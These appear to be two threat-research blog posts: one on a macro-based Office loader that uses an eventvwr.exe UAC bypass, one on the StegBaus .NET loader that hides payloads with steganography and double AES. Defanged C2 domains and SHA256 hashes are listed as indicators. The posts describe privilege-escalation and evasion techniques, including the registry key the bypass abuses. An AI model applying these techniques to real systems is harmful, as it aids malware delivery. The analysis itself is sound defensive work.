
When looking at what industries were most affected by this threat, we see that High Tech, Professional and Legal Services, and Government were some of the most affected. However, this loader also hit multiple other industries.

picture1

Figure 1 Top industries witnessed within AutoFocus

The malware downloaded by this loader varied overall. The following malware families were witnessed being dropped:

Based on the large amount of commodity malware families being dropped, as well as the wide distribution seen, this loader appears to primarily be used for widespread campaigns.

Analysis of the Loader

Analysis of the various macros used across all of the samples showed the same technique being used amongst almost all of them. All of the macros are obfuscated using a large amount of garbage code and randomly chosen variables. This is most likely the result of some builder being used to generate them.

We can see what is taking place in the following macro extracted from 4e56c777862ced487b4dd2556886bd429187c3c1c51c1f51fcba52e2ae350e12. This particular sample was witnessed being delivered via SMTP to multiple organizations with a subject line of ‘Request For Quotation [RFQ]’ and a file name of either ‘RFQ.doc’ or ‘Order Details.doc’.

In the second half of the macro, we see a garbage code, a number of obfuscated strings, as well as a number of strings that are written to the Word document. These strings are in-line with the ploy being used by the attacker based on the witnessed subject line and filename.

picture2

Figure 2 Second half of malicious macro

The first half of the macro includes a function to decode the obfuscated strings. After the various strings are concatenated, they are sent to this decode function prior to being called with a Shell command. Decoding these strings is actually quite simple, as the macro simple removes characters present within a denylist string. As an example, a string of ‘Haellbo’ with a denylist string of ‘ab’ would result in ‘Hello’.

picture3

Figure 3 First half of malicious macro

The inclusion of decoy information within these macros is not always present. When analyzing the roughly 650 samples, just over half of them contained decoy information. Additionally, the InStrRev() call is not always present. Other samples may use a technique similar to the following example, where ‘J8RRLQYA6Z’ is the denylist string, and the denyoffer variable contains the obfuscated string’s individual characters:

Once the string is decoded, we see something like the following:

This function will download a file via PowerShell and drop it within the %TEMP% directory. It then sets a specific registry key to point to this newly dropped file. Finally, it will execute the built-in eventvwr.exe process, sleep for roughly 15 seconds by performing a ping against the localhost 15 times, and removes the executes the dropped file. The registry key write and execution of eventvwr.exe is a UAC bypass technique that was first discussed here. It relies on a flaw within Microsoft Windows where the built-in eventvwr.exe process will first look for a process name within the ‘HKCU\Software\Classes\mscfile\shell\open\command’ registry key. By creating this key and supplying it with an executable of the attacker’s choosing, the executable will be spawned by eventvwr.exe in an elevated state.

To assist malware analysts, I’ve included a script that can be used to extract the embedded macro from a Microsoft Office file using this loader, and will attempt to decode the embedded string segments. Running this script against the 4e56c777862ced487b4dd2556886bd429187c3c1c51c1f51fcba52e2ae350e12 file results in the following (Note that the URL has been defanged):

It should also be mentioned that in a small number of cases, the attackers chose to make use of the built-in BITSAdmin tool instead of PowerShell to download their malware, as seen in the following example:

In these instances, the same macro obfuscation was used, and we can see the same technique of bypassing UAC and performing a ping against localhost 15 times.

Just 11 of the 650 samples made use of BITSAdmin to download their malware within this loader. All of the instances where BITSAdmin was used took place when this loader was originally seen, in early December 2016. It would appear that the attackers quickly changed this in favor of using PowerShell for downloads.

Conclusion

Overall, this new loader is interesting in its use of performing a UAC bypass. Additionally, the widespread use of this loader since December of last year shows that it is being used in numerous campaigns. It is unclear if this loader is being used by one or more groups. Multiple industries have been targeted by this loader, which has been used to deploy multiple malware families.

Palo Alto Networks customers are protected against this threat in the following ways:

  • All instances of the loader and dropped malware are flagged as malicious within WildFire
  • The various malware families dropped are tagged within AutoFocus (LuminosityLink, KeyBase, PredatorPain, Ancalog, Bartallex, Pony, DarkComet)
  • A number of Anti-Spyware and Antivirus signatures are available for the various malware families

A full list of indicators of compromise, including timestamps, SHA256 hashes, download URLs, and dropped filenames can be found here.

A special thanks to Brandon Levene for originally alerting me to this loader.

References

StegBaus: Because Sometimes XOR Just Isn’t Enough

This past week, our team has identified a group of malware samples that matched behavioral heuristics for multiple known malware families.  These samples all displayed their typical respective malware characteristics and contacted known command and control (C2) servers from those families. However, initial static analysis revealed that all of these samples appear to be identical on the surface, leading us to believe that we had discovered a new loader.  The malware families identified at this time are DarkComet, LuminosityLink RAT, Pony, ImmenentMonitor, and some multiple variations of shellcode.  We are calling the malicious loader StegBaus based on its use of custom steganography and a PDB string, which was found in an embedded DLL.

Because of the large number of infections that the aforementioned malware families have previously been involved in, any new loading techniques that could make it easier for an attacker to execute these malware families on a victim computer should be taken seriously and an attempt at identifying it pre-infection should be treated as a high-priority.

This loader is unique in numerous ways, most notably the steganography that is being used to hide the loader configuration, as well as the final payload.  These features will be discussed in the analysis section below.  The loader also uses common techniques, such as the RunPE method, to load final payload into memory as a new process.  This method has been seen in the wild for a number of years and typically involves utilizing a host process, threading contexts, and memory allocation.  Although these steps appear to be relatively static within the loader, there are slight differences we were able to identify based on the time of deployment.  One such case is a sample that appears to have been used for testing at least 6 months before the majority of samples were seen in the wild.

UPDATE: The domains tags[.]bkrtx[.]com and sg[.]symcb[.]com were erroneously included in the list of domains below. On February 20, 2017, this blog post was updated to remove those domains from that list.

Distribution

The .NET executables with a code-base similar to the StegBaus loader were originally seen being tested in mid-2016 with much less obfuscation and the addition of testing phrases and strings.  While hunting for related samples with the same characteristics, we were able to identify similar features in the KazyLoader .NET packer.  KazyLoader provides a means for data hiding in BMP files and similar encryption schemes as well, and although these similarities exist, the increased sophistication in StegBaus and the limited visibility into the KazyLoader code-base makes linking these two families together very difficult.

The first known instance of StegBaus that Palo Alto Networks was able to identify was seen on December 30, 2016, with numerous samples being encountered since then.  It should be noted that the malware families being distributed by StegBaus are all commodity malware and many of them have had their source-code leaked online in the past.  This fact makes it difficult to determine if the author of StegBaus is generating his/her own custom samples, reusing samples found in the wild, or has a connection to the groups that use these malware families for criminal activities.

The most common filenames used to deliver StegBuas in the wild are:

  • image44.scr
  • barbiure.exe
  • image56.scr
  • image.scr
  • corben.exe
  • picture.scr
  • Netsparker.exe

The most common HTTP connection information is as follows:

  • Kimki[.]ru , POST , /chamber/panelnew/gate.php
  • kimki[.]ru, POST, /nelson/panelnew/gate.php
  • kimki[.]ru , POST , /emeka/panelnew/gate.php
  • oxylala[.]gdn , POST , /emeka/panelnew/gate.php
  • oxylala[.]gdn , POST , /charly/panelnew/gate.php
  • oxylala[.]gdn , POST , /asaba/panelnew/gate.php
  • oxylala[.]gdn , POST , /victor/panelnew/gate.php
  • oxylala[.]gdn , POST , /mandela/panelnew/gate.php
  • oxylala[.]gdn , POST , /asaba/panelnew/gate.php
  • minecon[.]co, POST, /Panel/gate.php
  • informer.pe[.]hu , POST , /Server/

The most common DNS queries are the following:

  • custom[.]generatione[.]tech
  • goodluckjayjay[.]duckdns[.]org
  • slyopeznetwr[.]ddns[.]net
  • 11live[.]zapto[.]org
  • goodluckyugo[.]duckdns[.]org
  • akudon[.]chickenkiller[.]com
  • informer[.]pe[.]hu
  • files[.]catbox[.]moe
  • minecon[.]co
  • kimki[.]ru
  • oxylala[.]gdn

Analysis

StegBaus is originally distributed in a .NET-compiled executable that uses Confuser v1.9.0.0 obfuscation.  Initial static analysis of the sample reveals multiple portable network graphics (PNG) image files that are embedded as .NET resources.  These can be seen in the figure below.

fig1

Figure 1 PNG resource files

Upon execution, StegBaus loads a new DLL into its memory space and execution is transferred to the DLL’s main function, which in later samples has been renamed to a singular letter (A, K, or Q).  This DLL is completely deobfuscated and its internal name was found to be A.dll in each variation that we analyzed.  The functions contain no obfuscation and can be clearly read, as shown in Figure 2.

fig2

Figure 2 Function list

As can be seen from the function list above, StegBaus contains a number of functions that appear to do relatively simple things.  After analysis of these functions, it is clear that the functions actually do exactly what their names suggest.  Full anlaysis of each of these functions will not be provided, but some of the most interesting ones will be discussed throughout the explanation of the data hiding techniques.

After analyzing the original, heavily obfuscated, executable and finding the embedded resources, we chose to investigate this DLL for any resources as well.  It turns out that the author used this resource section to embed numerous blobs of base64-encoded data as seen below in Figure 3.

fig3

Figure 3 Embedded base64-encoding

The resources seen in Figure 3 both contain base64-encoded data, which each decode into a separate DLL. These DLLs are named img2data.dll and CreateShortct.dll respectively.  The CreateShortct.dll file is used to locate the current users Startup folder and creates a shortcut to the original executable using a random 8 character name.  The img2data.dll, however, is a little more interesting and will be discussed in the Data Hiding section.

The CreateShortct.dll contains the following PDB string that was used in naming the malware:

Data Hiding

The img2data.dll file contains custom functionality to convert images into a data stream by using numerous libraries included in the .NET Framework.  The actual code for the function can be seen below:

fig4

Figure 4 ImagesToData function

The reimplementation of this code is provided here and can be compiled as C# in Visual Studio by adding a library reference to System.Drawing.  The provided decoder will take a directory name that contains all of the PNG resource files with their original names and provide a binary output file that can be used to continue analysis.

The img2data.dll is utilized by the ConvertImagesToData function in A.dll.  This function simply loads the DLL into memory via .NET module loading techniques and creates a buffer for data storage.  Essentially, the img2data.dll will locate the resources in the original executable and read all of the raw bytes into a memory stream before being manipulated.  After this data has been converted into a usable data stream and stored in the global buffer, it is then decrypted multiple times, as discussed below.

Encryption

Although data hiding with steganography is unusual, it is an extremely effective means of concealing information, the malware authors found it necessary to also use AES encryption.  Specifically, the RinjndaelManaged function that belongs to System.Security.Cryptography is used to decrypt data using AES-128.

While debugging the malware and stepping through the crypto routines, we can easily identify the initial password that is used to generate the key and initialization vector (IV) for the AES routine.  The password is gathered by identifying the timestamp from the STARTUP_INFORMATION structure of the original executable and this value is then run through a sequence of arithmetic operations. This information is then used to create a new GUID, which in turn is truncated to 8 characters, and then used as the password.  The password for the sample analyzed is “d1ee1095”, which is easily identifiable during debugging and execution.  This value is then run through the Password-Based Key Derivation Function 2 (PBKDF2) and we can hex-encode this result for both a 32-byte and 16-byte value.  The return value for the 32-byte value is the key and the 16-byte value is the IV.

Once the key and iv are produced, the decryption proceeds by using AES with CBC.  The following script can be used to decrypt the data once the password has been identified:

After decrypting the data, the results are not as we expected…there is no human readable data.  This leads us to further debugging to identify any other techniques being used.  In this case, the authors decided that using steganography and AES encryption wasn’t enough they had to encrypt the data twice using the same AES implementation.  Using the same script as above and the decimal representation of the previously returned timestamp, “1484648550”, we are able to determine the key and IV for the second iteration of decryption.  This time we are provided with what appears to be a human readable configuration file, which contains the following data:

  • Emulation
  • Install
  • Notify
  • Options.Compress
  • Options.CheckVM
  • Options.CheckSandbox
  • Options.DelayTime
  • Options.MonitorPackage
  • Options.MonitorRegistry
  • Options.MonitorSelf
  • Options.HostIndex
  • Options.UACBypass
  • Files.Main
  • Files.Count

Finally, after the aforementioned decryption is finished, the StegBaus configuration options become visible as we see in the figure below.  These options dictate which additional functions are going to be called in A.dll.  As shown before, there are a number of additional functions, but they are not used unless the configuration has the options enabled.  Along with the configuration options, the decrypted data also contains the final payload and is represented in two different forms in the samples we analyzed.

fig5

Figure 5 Decrypted data forms (plaintext vs. zlib)

As seen in the figure above, the two different data representations in the decrypted data buffer are plaintext and a zlib-compressed data blob.  In some of the first samples identified, the decryption stage mentioned above is actually the final stage of data hiding and this executable is then loaded into memory via the RunPE method.  The newest samples analyzed utilize zlib compression to further hide the final payload within the decrypted data buffer.  The decompression is completed in the Decompress function, which can be seen in Figure 2 as part of A.dll.  When the final payload is decompressed, it is loaded into memory as a new process via the RunPE method as well.

Conclusion

The StegBaus loader that was identified contains many advanced data hiding techniques and has been seen delivering numerous different commodity malware families.

Currently, the loader itself is being identified as malware by WildFire and can be seen in Autofocus as well.  Palo Alto Networks is detecting this malicious loader via behavioral identifiers and is also identifying the malware families being delivered by these measures.

I would like to thank threat analyst Brandon Levene for bringing this unique malware family to my attention.  The characteristics identified within the analyzed samples led to the discovery of more than 250 samples utilizing the StegBaus loader, all of which were identified as malware in WildFire.

Appendix

SHA256 Hashes

1678e719a18eabf552cd54f763f401959fccb47fa3ef035c1f5b49c440dc0ddd
4233a707e1772c6399776dd563dfb315b59cd2bd685bc78802958065a871817a
440e31eac26692e8cdfc357f2b66fb371a4d3601961cae3082a2d3f3855d4a0c
2f43238efb23e00c8413cc4c203bfd29b17e846dedd613c86d9edc8b20dc2600
a5a8addaec02c0a7849adbf6125e6d41315b3c6e40deb31ec605aa083f5dcd56
f70bf0d2f14da3f677986c90b68c576aa5f9bd543a585b8b3072524ae0560272
5a56042607f463ff286a16537c6ae8ffe78d3c2258674dc095d4818ce9552198
c33b2d07872354cc87206b886143bb3e250fc49a260a67276564b258cb67c290
b97c36f7d7118ab964ac7e7337dd3de0ab86cb286e724f3787b358aef5f2a5f1
4dc9edcce2e78405c9301057a39b6a5e7fdca60b6f11b35e4467312d459dce14
658d455f574cbf59c4398fdaf68a9d93a250e85812ed7557b9a5d589440d11b5
8ef803d8e1f2d6221bc1d562b6ee6b1f6886baa0a46a0758677f423eaf4b4e72
f482c2201e13573e6dc93cab302683f7e8fa677673a14ba9f0cc7199feb94b85
773a8cd7becf55e4a8fb56896253d1408def916a405252439fb5e4d541b5bffb
a2e36d4102b6be41cbeb16a8627b913f19c0cabb9c828359ecb41d50122a6df2
64aafb17ca136e56678c7321313894fa0b2331d42b16054be5a3d57c8fd3a312
6b0edf8e9dce9f137aa92fc7cd25f8148c1efcd0a418dc35035d025510b18cba
9cd0af91e0cbe55db3b2a444941378802879a78db6484d4449ceca1f3b6862c5
10888258eb6136ae1cc7ad6e3dd9ec8ada384365c71932c15273e0027577bdc4
a9dc85927b32af2a40cbce1866a76cd67d7b329fc775ad09bfbe5cb6ea463c65
2b631fa0cfabfb9d96460ac800219b324c69a7f7e54f84ec37a378e0bad54992
e43b1e25e4a4d19babed4b25a9a2547efb6843eb128d5e50ef80a871a8a7ed0d
d43814e12d945f21076748ff1695dbb977854db2ff0b44b32c59dd1ecbb120e0
4be05fd94f7c7f42a2f711184d1b67eaebbdbb3c77b9ff626c1f41c39cf0974f
7f1ba131992a21c1c9e7c300fe4a0e58b1554f27ab8b9a804f802c9f92ab411d
950078b915e0ab5c9238d0ecaf6b0b6392ae8c74f8a731a3bfc02015ecbf06df
dff0de34c5579339210709bd0f1ed9050a67d14233f7098ad76e302fabb047f2
a0ed357c96b0f17a3f45bd9926c381dab2d86bbb0dc7915f4294d24fbbd90694
0f5c982ba2789fc5dc45f1bcc8b97a8338026e8e6a4a897c7a9598f7c822198f
cd193bf66b4a0859524e3c87cbd677986270916fd520de6a90776e375f22def8
3fa229f1a014f04975f6f25aa81a657daeb583e22bd7a5ace47d63ec392cc7f4
269e74ef268dd0c5537b7154538bfba3cc23b3e0a8338a920f44f3f16d5e141d
04ca2140616cb9ff7d417ddc1924f2812d03b0b67dc197cd26d0b69981c9f55e
e8aedfd0addbb2ba395c23f39a17b962e5861dd1df020e8f134a19042ef38552
3ef998f62f696bc1677f78f3a356d95f9c56ca71e58759c5830c3c6f64e0f1ef
67ad00d6ca060b6c6ad7263b32aa105bceac3c3bd78db45021b8df6d10e0c996
0a9ecc4953983197d0369ae6ee383c4da3ed26a1b557ae0214b3d834a219083f
669e80679707bd00bf48994cf9d4fee5b58f6b87534cf7da5aefe71c0bee3d34
72c8b6c8219d7ae1b99165428c77855e8e4001d2217e369f156192e8c0afc276
ee4704cbe11ff52e6a4e33100dce375e0098d09919402246390706d0b4e4a19a
17530ed17699da87a3f4e64af69a78bfa525d80b1c1e5b0c61b48282c231b32e
7a457ced31004aeccbbdc169b66a02a55a38bd1934c0ed54d97a69980945f487
2c821b1aadd0b0606a480d66790700bf77229aeb9a540fdc989667a61c38be05
97ac4c6f670374b849fdbdf43a2f1cbd1807fc0b419073e757c0ec429da51182
b6ddcd352d4345186b9537f12cc82c9aa85697e681858c8b686b18c3b9f66b56
c4c5fdc968d350ad7646a988e768bf275a2484296042590378288e5b955942be
380a1a709b01c3f3b7f0198e9a06faa6918c6d14dc52f7f75a5384f71ade30a6
920287016bf31fab721b67c4be8c181655701f56a6f54c0e52dcba58b5922f50
17fb1bdebf607fd0db97785f4c5fecf6625d528cbae5f0535dd575294ec63a15
67597bc132585a083f946a8853004a5cca9a215f15122b2969f0e3f27af06974
b782000fbb86bd69a8f67d4fe58526e1e2cb0ac6f92ecb52ca3ff8ad754eadc3
784e60507721c12f9d7cb20edd8d874a5ac29cbb6eec33629b16e49e0a564f51
2d11f5fafb07a3e1b311572c4ccce87a4a6615d8912929857d8ac07a632e1719
6d2c31e412f07246975eab4a15a8ad7829966efc8f638b25c64e504accaa7b93
db81b258a9eff00a892a8cec7409983d84ea04baa0fdc1fe9589ebf3f8636704
f9c54e8dffff277aea04447cfaf18e0255c27b4e5fc9606389c133795379f52c
20f83cdd0f35ff5d0d39241893370801a8206eb22cb85f34e3749ae8edaf778a
6f51b8555fb5f959dcbac46aca02106f1affdacba29988682b69eb5a6c9ce973
b6d06b8d03dbafbabf59b2b96b6d66fd0f754034770e80c9aee312a7270b30c3
241180a7c31bfeaec07210e348cbf860c87adc2340c6bd25cf41f82fbd6cd994
0da8134694f67efcf5ca82d638f48734b09a53d52b791abfcae29521989ecc28
d8890b413e9708ac7fce71f076cac0c96302d3af27edea66c36ea072bf14e1a2
23c0d83e04199229a0b0f98d1767cce992a9aa847f957d8d0a5bb045f92315d2
b789a5df1f5ebe997870323ad3802f691c83e19bc8a22bca82edccce17f5b57c
62f23d89d1876eef9d109392b4637450a2f87b7ccb02d7433a1dbcd4c1edf946
dc5d64bf089add373a24abc24a9185d93cf29edee7907ba3460712945b4d28dd
55ca978a8831c4a483c4dc88637edac5dfe050ebbd6f2e0d5e8c16669dc60a2b
c805f6fcc78ebcbb3170580626ea8616f4e06b9d4936e2fb6aae79a4410f1e0d
18bf92b767562e63326cf142481bc0c33a8650c80f20d611feb7a3de82de51a4
8c91edcc3541869bab5a2466fa0a8c075f9acac3badc8534c221a019ffe3ad7a
aae8a273f9bae5bf187ce9b3ba3ad945386bb38286ebcba38b7ccc1e8ad00c18
4f8d5b7c4e5cd429b1a27bf8b8c67ca6b7dcecf728b9362836633b5f46ecbf22
675e79744c4fffded353b45271638cc5cedeeb745597547f5ea029d14909772c
eae0fc7c52b8b5d9919129fdeeb5f59908d41873583a8f4169dfdb156afac5e6
59a46a335f8750210eada0aca256fab1d5cbec5c5f8563acdae58ba04ed4e0ce
639b095a360b75903d6fe72a0bb20efc0f15ed8ddafa92bcf16c3520f53990b9
b9c54dc17605268687f4ed80d2e52d888754d6d28dcaf62e6702b1711e5323ba
65e3121018d6bd04e28dd56e4dae9b11537a47368288ba8dd049be7642dd5460
009d1be4c0a33202ba87e12ac83f584560f19c7bbc1eccfe5a16636055f896b9
7a87a72e31e05662bbe20f3c38e4dec0ec798cd474564f1889240be80c970038
4cd730d8ed2a4d5b0f09707da83ee832187e6c13e243fdda777962cbb5830df8
bebdc8401979bd414a19a94dd599f2c5971f184f825350ca3647eb22c8e5c341
4f5c2e75bd0d4751a80770877f4f669e214b3b3047f9f9b623bacd2301e924a4
8e38d194a3aee0534afaf0297751d7e22e50477a1b0b265fb80763db58423a7d
e67806d0be3d3b44d3128691c08acbc5e19f8b4d07fc107327c4df013a2af57c
31aedd2a097552a9cbe8cd982e5bb5835d62c331f50663d1376c09566cc9f600
5a75141e0f3c941f36195ed0c59962c1bfc1d169167df6a398f3db097e497873
cafa05a6910d5d2e810837fae1af4d2f6b8fb665b2f4d60ae6a2c83c38560798
ad5795f71bb5935f5b13cebf2a09a066c14e919e9c2d92b52b4e91b4ea1e528d
27f7724ccffdb639199f48b1074d2961abb54cbd40afb1c14cdd9e9b85cc9bdf
e9408418e2f6f80b02372301b0f576a953d6b207a95727f4d6201ae3385a29bd
2d9be2fd8a918e7b651271f74f33d739f659cc5bf20bb96f55aabd71297427ba
14f284d7354499fd9a73d5725e74da849422d9f1cc823cbdb128146853bb385a
a6493a668482aaea9201522a8571ef4edd4c635c45be38d49c2d53043d16d3d4
62b7e5c327522e113d61665c513a5af78fb63269bb58df942f2a43f97168b7cf
29860b49473c93b9c1e57cfb96f1374605a49f9434f2479aaafb61e82afbcf57
de4f8b7a945a46d4fe73003a1e610414dbf5c3f167ad38077b7c531fd9d10fb2
203c70380046fbde35be55b58f06d3ef87fbc81f50f6401baf608aa2ee0db07d
f5e814538cc1dedb24af16e8a151c753fa68b09e3e9285692cd436fe8dbc6c0f
8c24a7af9c071c9a39d9dfe3f7b7bf31d715a52d3336129f15fa2b8e14c06137
b0f6656abadeb6505c6ff3eb92ad23f61806c31502676774c36813774b673f49
c70f80d7d7f2e992b427c198b578b3fd907848ee07611f2f1bc3b90986dd2b7d
e2a572fdf9b8b7a76509037c100d53c5895797f87d1be609377f4d2986649df1
fcd166f89653f3084685c9e85e4950aa22b24287b4fe9a12c5c35ea80dabfcab
d2ee9df1a46e752c77a828151105f8326617bbce7f100eec5caa1a98f0dd604d
a52149e5fa5ea0acf12b426c0efe4feec1c54d85071fd3dc8eea2e0eb18086ab
a7cf7a4381740369e87692315dbe1f3f74ee96a5bced002c03f0d14335e87268
9a385073ccd80f962a710fcc686b6e8fd2af39ee6b3d2404711e159ed6709ad3
b3063cadbc6dcbfa7e7b84e1785ce083566db1db453ce6d9dd5b03251c946b75
351e6001e8df4e0f0ffbb8875064da7cb4c00a46c7e78e5e5a329c301326cb19
0ee2ce7ccb2456ae34dec2422ce417b1ac212b00b02411cf14621fa1402356dd
522f6e19972574a0c33d1c2950c27b4d0a8950333643d0d026971b9b303faa3b
d4b39c83c3e343b8d4a889e346492e40dae52417088f191c06a8755d985a4c57
fcaf94a7b8350a467e486a992e69060e088c00614a0f5a4f5641fcd39bb79e9a
b5fc369daf027150ed929b4f3937e955160b7e329b6fcb8ddb4e3a8133024128
4f728cb4446b9afda12090edf32963b750d621050038000548171cc004c5a749
b4497e296fd82f24ecdbfda1c562e5f35ec8fbd9d505a764c44e0a9025b321f5
0f84fd9cbc611c42bd22ddaabb3787eda0699e9de42835fed483c92b47f84d2c
edd01dd32b53fa6c218a93dc192ace1e6a68b0b6ddc51371b0c70cb2ad41c897
41773222c470e282a914a2ced7b396a278d74f04721d45281b570ce4d218c87e
9e42f49eb246b6441d68299cd93e7ca3670084a21c277c09f46b8585dedda4a5
018dd2616adb9d2019c3bfe9d57f2c6665dc29dc891df55e0f55a28004419440
2e1713ea9af114c9b96df64719094fa9f039334ee7adc84998510a5b41637574
6b6caf9025252a01c0e7b39fce91e7080b6702c4c37e90238569dedd3a1c9812
b982c7ccbd44b5966435677cf192b32288856809f64756dd0310e407b30b233f
5c3f5b20b9cc11e2a2e4490f1bad87038604160b6af963dd7d8a15bcbba8bde2
e8d8883c83b157f9d63725fe47eb37adfc1bf2d930c051d79f46882a1e48ddde
51d1a97beaa356625f1f08968d53c5bdb038d2f5ba2c2f3e4708b31a0324cc79
90d6b756d1e96f2ee6f155cdc1fb9c446bae49bccb647465ed939cdb0c2a529e
8066e1c172af6e66dfa291bd8b3adb82dbadf973f2979e5ec9c49af3e1fc19ad
87f9117daa3177726633374a72701243d30b472016031fb32422012ae665fc42
c4470c8510e3e26b34650be4b4e8e8b22f3d41a6a2eabf2b2100a8f8be3cd06e
18dd3231fbbfb2e97195cf04b29a05a3d6c540a78ee9830388b50e31e877c682
d48682110e84327dbe367e533f33f339577c8a8988290e4fb3a5fc5a4ffe18e7
62bdf2b515f9ee512b85eccbbd0676e4e772994870c513e4afb6a550dbe85b96
115f70d230b097b1a3136394b4075594aacd5a1f225ba237cd5707adbe28a862
8d7a4fd6f9bedcedd9b7722703132295e56fa9b36e76e5f41b633708e011f3d7
f219a70c67907160a375718aca0ddd141a5a0d36b2c5a77e2a5b88ee4940a9c7
d12457bc48670045141423bd344745f93119948a1bbaf212dbdafb3c2f1b4250
04c25d5af8ebe51308d78d8787240c7d4057b7d26b755196892bd0b19a6a0387
b259ea6a57a02f15e05b07d18ff278a3db52e2fcc78bd0b0ed3f790d051b4740
05bf4501e024484235d8fe783e02069586547f05aaf22500a4ce887f0b97e77c
037bd77ad772e41d74c7bc15e89af0095a9792680950edfccb6e06c97a521e2e
c24a470f25ce17f9e2657b2fecfd650afb03e17e18acabd7f60f9456bfcf7781
bee5d3c44a17abd07157e195d0ee0480cc7e47232f3edbc6f333b0b03418de0a
8e2fa7dde4fe36b949508d51ffcc7b4e99495ffc93ab4728a18ced93ce04450b
f0d3981462a3f293fb0029d8db1da2a8151bec7fabf7d515d303d77d4ee60c99
3174d2ede7e0385f25b5b10b395c12c3c640dfd84e18efed2a76c9325e053c20
afb4dd18d0b858e073741b2c329994960aabcf0058bda3255c6aec626c81bff2
bf8b00eda1f6b5152ae09acfb98026ce2acbd0b28c42aa0968ee2b98348ca9ba
8f79bff125b98c5865c23e8ec907672e14f93744189f1b4ffe816805072a4281
649b46f0c7c55e3c04feee6c155cad11856cb51676a14d6466810b3c3b3c5929
223b4732a0d8d51c7286b06fbddba76b3dbe85731870c7480b054267a427882c
bf3d9397916eaa3330d71a201bc7babc63a9bc959c55445425e0074129e086ec
075c7fdce6c1c75c8862819c4ce67f28fa5e136b7fce8ca581aaa0fa722cd6ad
7a54fe769e7e761bc48a6cc6aa0454a46934514d3f14b899f2a369037d9e8868
88389b0f935a993515a45555ec4d93672402dff10abedf44b8fc51b173e65869
50349613c6fbac2b344f5b7753a165620be112a674763153a6de497df43589af
e6c1861f51231eaa33e6c6e3dd0fc0168ced641af811b29b30ce6ebeeb681c40
115dd4bc7ad38c95b0fc2e62cee716f13169762a27d74fe2b8cf8514e3d0847e
6a6b275ebd34ddd8e7273b0d8ba81f5a47154e559816625595ec1c16f16ad1cf
47f72151463862d863bb2bca5aad869cf07056a190e3b419f319d0d1ed48f42f
36c850d42c69534d156c9cbfb6d742c3174d61adf870edbdba4e510e34039c49
6f7970f6831a647da4ab9727535a599e602d94623a295209c3248aafe84c5ee0
f705eb07b29abd9de90843dabf7f44593d34f1065cd622885fa885e1877bb90e
2217da4c3df09c9b675e8904ee51d7cd791469d4ebaf985bf6a2800e6145a948
1a796b42fc43e5a646f619319f9fe5d53aaa4c8c59b147d523eadd03846baca5
78b3a73fb8b29a0f06117f386546fd97e6dfea06ad7ede29ae1ba212b0befc46
987667455144351324f3081a80751cf43fd562437c88026bb6dbb11f3c8737a7
093555823e8e1fd7463637a151ab4a3df461b6c8a25223ba209c0b42310c7398
7d5496e7d40ab1c2893b54a3bfcd3acac447a0e031e762b2149c53560e1675df
5f72291e2b93e2ba00da91c39704db98414c8e102d95d6ee5eb5cd3fa0951160
28e8bf1314d1c481cbb47b44364d3b9f6219e73943879b26251f15113c47bce4
ba31d49658e1dae50d656cf066503187f4b7ef30a2a0891f44a92c548bdd17f1
76978f754001b1888d9f3ad235639dafa5cdf63f08a47a260831b68adb951769
cdf0f9967a7d7fd574d291b3377632350d3c049b6a0fa10d4af6d4abe67b5266
153d6d64d4f03687be35f694ad5a71b110d26c8d54ac1b213ad00a9c2689c2bc
dce2b7c9b0d0ea08eab5911ba20c299e91063ee3e10112b78cf414165d875f1b
de2b2e025c205479f412453290c35b63c6e94655de559e243c65dcd6b6aad1d7
7ca569d5d4f9936e31faabfe00dd02064ecc00121957959117f875f60b11922f
6397208c697a0541d7fa79a9a3e7f8d32223c20c85858fbefa96ecd675945ff6
3c6337b597a847c68269a447d8fb716c9ef79bd35cdca2342efa74f4915192ad
14387e3ff0ca651eb05025ca05c1ddd17bac0639be39c505b9dbed71fe9b3137
76b313b8906a9a19af67cbedac5c109bd0d036560a97aa7f345eaf9c90db5c53
b65bde1984d76466d6da12059aad5213c6b1de61f7f6e694b35ba15bbcc0dc98
6109f63d8cc209bee8b57ee7a35cc5fde8823fd37177ef775757f726798520db
219edd89942ce23bcb3a139759ba19c099084c93d301700f40b7fef414d8ca3a
5b1de6e0679534abb19fb3f7b5c4df4ae900e903cec6b4e2ec651ce3ca6d247a
57a841c491c7c4f702a4a3fb0814754018aa7d22c3f192acf19475156e8285b6
c3701090514fb846a83587301a2e63ff63632029b9a1779a25783cc73976c92a
b14d8eeb74ef1998ab0810dba152b3b055a6164d0c7d53461d6b8d6d55648699
a262614704b19ea9bf58266cc3bd17408e4979d4fd7483b6d96244966078a010
619c3847cdf9b2a7a3f13bd2be8af1b56e6df39c2424cdbe7d9b8962ddbb4e16
c964cf49374d5001a0d8e94b4981e3997a898c4e4a9adf9293fd872359ebe34d
18c2d3ddb4f937f580ac4b04edc969ffba27647c5feed84a20cd69a99753d088
3241f26a263314754cfc83bae912699f0c25f1f66110f715f2b3056f43705143
1f79ac7f0201584d6ea7d6b0c96d2285572ed4a191e765a20f5ccae6ebb2f34d
39b7ce2df93eb2e0b9f2ce26a3fb75841585005a9ee2da3b1285c3c942347015
43fbede2d81121935a2b186885a017c300d547b51e62c4d8f4e8abb736b1a248
49fdb3e17fe1abe377efccf40dfd33b81ba4e1f7eb71cff20ce384baa80536a2
e295759d8b341f2439c0c8fe649cab6b789b59cf02a370eab901bd97e9edf39c
bebc952556088b9e9181ac27b268f0bd68f973d1d9ee193a928d6fda8e4bd09d
13d69010410bc20918f5d126efecc497d98d675ca714815652a28b7dc8a6f4ea
65758d6ed0aa38a46c67dd1f5e6b5b4e683a24866f9b74964c64ac40b6438596
b790ea9f8a4c66fa606fe9588e6a6b530222928f95d0f24013b01d2ccb4f529b
5d24d262b62c3024f511f03334d0ecb38fe2b9430650c295ee34aecfe5e21b4e
50e57d18cdc240d5c6c86dd34d7a7377d1dd27a261d0d9e6e2fc9a1e2c40d1d7
209426520c8057c26a6ece290272b0c8ae43143ac50ae8d0b5d7c8f5bd6b84fe
517e653ef19bdb890d0e5ef463883a4a07b1fc80cc744be118ac1aa9ee7ec387
a10687e18624b2892356e76c50e35c3694a02232d6cf38d4ddd7b7179334b60b
a72e9f99c9a974b331daefc28ccc0d7abdc677b4a36ac5e7656715868019c5f4
767a721e1bab73766a3f8effd34335d88a5c056ab3bf2d4149ee357d1242ad4b
54d3ca5af4380eeefef22bbe1d616ddd2e271ee530b06f290c5b0cda5f6b406a
cc45029445077d8d97b56e082656ab5419d822923977e483deca7754fb02e964
37b8555c0f25645850081a7d9333fac1ee551ae46b9352dc5b51b3af699dc226
528e5b4ab20745d773da1e14be0da5e466ab48e9f6028650a25701315e074a70
0b7857fde5312af28a68621fed4ac095aa4b5b21fe90426fad692b1bc97de517
